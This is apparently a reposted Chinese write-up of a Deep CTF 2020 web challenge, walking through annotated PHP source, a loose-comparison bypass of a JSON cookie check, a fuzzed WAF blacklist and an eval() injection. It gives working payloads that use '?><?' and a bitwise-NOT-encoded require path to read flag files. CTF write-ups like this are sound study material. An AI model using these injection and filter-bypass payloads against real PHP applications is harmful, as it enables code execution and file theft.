赞
踩
进入题目,f12,有个链接view_source,还有个提示说flag在flag.txt里面,访问得到源码,下面是源码及分析
<?php //It's no need to use scanner. Of course if you want, but u will find nothing. error_reporting(0); include "config.php"; if (isset($_GET['view_source'])) { show_source(__FILE__); die; } function checkCookie($s) { $arr = explode(':', $s); // 把s以:分割成数组 if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) { return true; // 检查$arr[1]是否由数字和英文字母A-Z还有"组成 } else { if ( ! theFirstTimeSetCookie() ) setcookie('secret', '', time()-1); return false; } } function haveFun($_f_g) { $_g_r = 32; $_m_u = md5($_f_g); // md5加密 $_h_p = strtoupper($_m_u); // 转成大写 for ($i = 0; $i < $_g_r; $i++) { $_i = substr($_h_p, $i, 1); // 从第一位开始,一个一个的取 $_i = ord($_i); //返回 $_i 的 ASCII值: print_r($_i & 0xC0); // 按位与运算11000000 数字都会变成1输出,而字母都会变成0输出 } die; } // 如果没有按位与运算的话,可以把输出的ASCII值返回成字符串再md5解密一下 isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 ); checkCookie($json) ? $obj = @json_decode($json, true) : die('no'); // 判断有无secret // 通过secret赋值给$json,再通过$json建立$obj // json_decode() 将json格式的数据转换为对象,数组,转换为数组要加true // json的secret需要满足 checkCookie($s) 里面的条件 if ($obj && isset($_GET['give_me_shell'])) { ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path"; } /*要让传入的secret为 $flag_md5,这里就存在漏洞了,利用php的弱类型比较,但是这里又有个问题,在json_decode()返回""里面的内 容是字符串,就不能进行弱类型比较了,但是如果里面的内容,比如数字,没有被""括起来,返回的就是个int整数,所以注意把""删去,也 就是{"secret":123},这里开始没注意到还被坑了,一直没有爆破出来 */ die;
分析完代码,那就很简单啦,爆破一下,得到结果
访问w3b5HeLLlll123.php,又是一串代码,进行分析
<?php error_reporting(0); session_start(); //there are some secret waf that you will never know, fuzz me if you can require "hidden_filter.php"; if (!$_SESSION['login']) die('<script>location.href=\'./index.php\'</script>'); if (!isset($_GET['code'])) { show_source(__FILE__); exit(); } else { $code = $_GET['code']; if (!preg_match($secret_waf, $code)) { //不知道黑名单,需要fuzz一下黑名单 //清空session 从头再来 eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker } else die('hacker'); } /* * When you feel that you are lost, do not give up, fight and move on. * Being a hacker is not easy, it requires effort and sacrifice. * But remember … we are legion! * ————Deep CTF 2020 */
fuzz得到的结果
0 200 false false 309 //309为黑名单里面的符号,但不一定是全部,只是符号 2 " 200 false false 309 4 $ 200 false false 309 6 & 200 false false 309 7 ' 200 false false 309 8 ( 200 false false 309 9 ) 200 false false 309 10 * 200 false false 309 15 / 200 false false 309 18 ; 200 false false 309 25 \ 200 false false 309 27 ^ 200 false false 309 29 ` 200 false false 309 31 | 200 false false 309 1 ! 200 false false 303 3 # 200 false false 303 5 % 200 false false 303 11 + 200 false false 303 12 , 200 false false 303 13 - 200 false false 303 14 . 200 false false 303 16 200 false false 303 17 : 200 false false 303 19 < 200 false false 303 20 = 200 false false 303 21 > 200 false false 303 22 ? 200 false false 303 23 @ 200 false false 303 24 [ 200 false false 303 26 ] 200 false false 303 28 _ 200 false false 303 30 { 200 false false 303 32 } 200 false false 303 33 ~ 200 false false 303
; ( ) ^很多符号被禁用了,利用的点只有eval("$_SESSION[" . $code . “]=false;”);,首先用
?code=]
闭合eval("$_SESSION[",然后就是想办法读取flag.txt文件了,而且要分隔开
eval("$_SESSION["]
和它后面的语句,但是;又在黑名单里面,但是<>?这三个符号不在黑名单,而在一个 PHP 代码段中的最后一行可以不用分号结束,于是构造**?><?**来进行bypass,这个时候构造语句就是
?code=]?><?
而因为()“都被ban了,所以能用来读取文件的函数就很少了,看到上面代码里面的require “hidden_filter.php”,得到想法,可能可以用require函数读取flag.txt,测一下,发现require不在黑名单内,但是” '又被ban了,又难办了,而且空格也被ban了,真是难搞,但查询之后知道require和~之间不需要空格就可以执行。于是想到用require~~flag.txt
,但是没用,fuzz一下发现原来是f被ban了。但也好办,自己先把flag.txt取反一次就好了,最后构造payload
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
得到
于是继续构造payload
?code=]=1?><?=require~%d0%99%93%9e%98?>
得到flag
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。